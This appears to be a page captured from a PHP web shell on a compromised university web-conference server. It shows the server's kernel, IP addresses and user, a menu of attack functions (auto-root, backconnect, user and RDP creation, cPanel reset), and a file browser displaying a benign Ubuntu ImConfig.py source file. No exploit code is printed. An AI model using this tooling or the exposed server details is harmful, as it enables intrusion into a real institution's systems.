Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.144.12.43
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
LanguageSelector /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
ImConfig.py
2.35
KB
-rw-r--r--
LangCache.py
6.06
KB
-rw-r--r--
LanguageSelector.py
4.17
KB
-rw-r--r--
LocaleInfo.py
12.56
KB
-rw-r--r--
__init__.py
3
B
-rw-r--r--
macros.py
5.24
KB
-rw-r--r--
utils.py
1.63
KB
-rw-r--r--
xkb.py
3.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ImConfig.py
# ImConfig.py (c) 2012-2019 Canonical # Author: Gunnar Hjalmarsson <gunnarhj@ubuntu.com> # # Released under the GPL # import os import subprocess import locale class ImConfig(object): def __init__(self): pass def available(self): return os.path.exists('/usr/bin/im-config') def getAvailableInputMethods(self): inputMethods = sorted(subprocess.check_output(['im-config', '-l']).decode().split()) inputMethods.append('none') return inputMethods def getCurrentInputMethod(self): (systemConfig, userConfig, autoConfig) = \ subprocess.check_output(['im-config', '-m']).decode().split()[:3] if userConfig != 'missing': return userConfig """ no saved user configuration fall back to the system configuration """ system_conf = '' try: locale.setlocale(locale.LC_ALL, '') except locale.Error: return None try: loc = locale.getlocale(locale.LC_CTYPE)[0] except ValueError: return None desktop = os.environ.get('XDG_CURRENT_DESKTOP') if not desktop: return None found = None for val in desktop.split(':'): if val in ['GNOME', 'MATE', 'UKUI', 'Unity']: found = True break if found or loc and loc[:3] in ['zh_', 'ja_', 'ko_', 'vi_']: system_default = autoConfig else: system_default = 'none' if systemConfig == 'default': system_conf = system_default elif os.path.exists('/etc/X11/xinit/xinputrc'): for line in open('/etc/X11/xinit/xinputrc'): if line.startswith('run_im'): system_conf = line.split()[1] break if not system_conf: system_conf = system_default return system_conf def setInputMethod(self, im): subprocess.call(['im-config', '-n', im]) if __name__ == '__main__': im = ImConfig() print('available input methods: %s' % im.getAvailableInputMethods()) print('current method: %s' % im.getCurrentInputMethod()) print("setting method 'fcitx'") im.setInputMethod('fcitx') print('current method: %s' % im.getCurrentInputMethod()) print('removing ~/.xinputrc') im.setInputMethod('REMOVE')
Close